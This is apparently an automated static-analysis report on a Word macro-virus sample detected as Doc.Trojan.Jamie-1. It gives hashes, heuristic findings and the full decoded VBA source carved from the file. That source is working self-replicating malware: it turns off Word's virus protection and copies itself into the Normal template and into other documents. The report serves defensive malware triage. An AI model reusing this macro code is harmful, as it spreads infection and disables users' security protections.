Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7ed013eb8f1dc00e…

MALICIOUS

Office (OLE)

29.0 KB Created: 1999-06-17 18:45:00 Authoring application: Microsoft Word 8.0 First seen: 2014-02-28
MD5: d9b49b87eda2ef620ca5bd3e578e09ea SHA-1: c687a80d5fba2de60d681e26c680e4c5878c7db4 SHA-256: 7ed013eb8f1dc00e7e8c956d6dd54d34e0122ce2c4e41efdfcf7edcfdf5bb80f
148 Risk Score

Heuristics 4

  • ClamAV: Doc.Trojan.Jamie-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Jamie-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    OPM = "Private Sub Document_Open()"

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1784 bytes
SHA-256: dba7abdcc1b6d099924299c47f24ab09dbd5f57bc11cc113e491d6be3ab32f28
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "ThisDocument1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub Document_Close()
On Error Resume Next
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Set AD = ActiveDocument.VBProject.VBComponents.Item(1)
Set NT = NormalTemplate.VBProject.VBComponents.Item(1)
If ActiveDocument.VBProject.Description <> "For Jamie..." Then GoTo ADI
If NormalTemplate.VBProject.Description <> "For Jamie..." Then GoTo NTI
End
ADI:
Set MTI = AD
Set MTC = NT
OPM = "Private Sub Document_Close()"
AII = AD.CodeModule.CountOfLines
ActiveDocument.VBProject.Description = "For Jamie..."
GoTo Install
NTI:
Set MTI = NT
Set MTC = AD
OPM = "Private Sub Document_Open()"
AII = NT.CodeModule.CountOfLines
NormalTemplate.VBProject.Description = "For Jamie..."
GoTo Install
Install:
If AII > 0 Then
 With MTI.CodeModule
  For x = 1 To AII
  .DeleteLines 1
  Next
 End With
End If
If AII >= 0 Then
 MTC.Export ("Jamie.tmp")
 MTI.CodeModule.AddFromFile ("Jamie.tmp")
  With MTI.CodeModule
   For x = 1 To 4
   .DeleteLines 1
   Next
   .ReplaceLine 1, OPM
  End With
 Kill ("Jamie.tmp")
End If
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End Sub
',.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,
'      Jamie(Strand C) By Lys KovicK
'';';';';';';';';';';';';';';';';';';';';'

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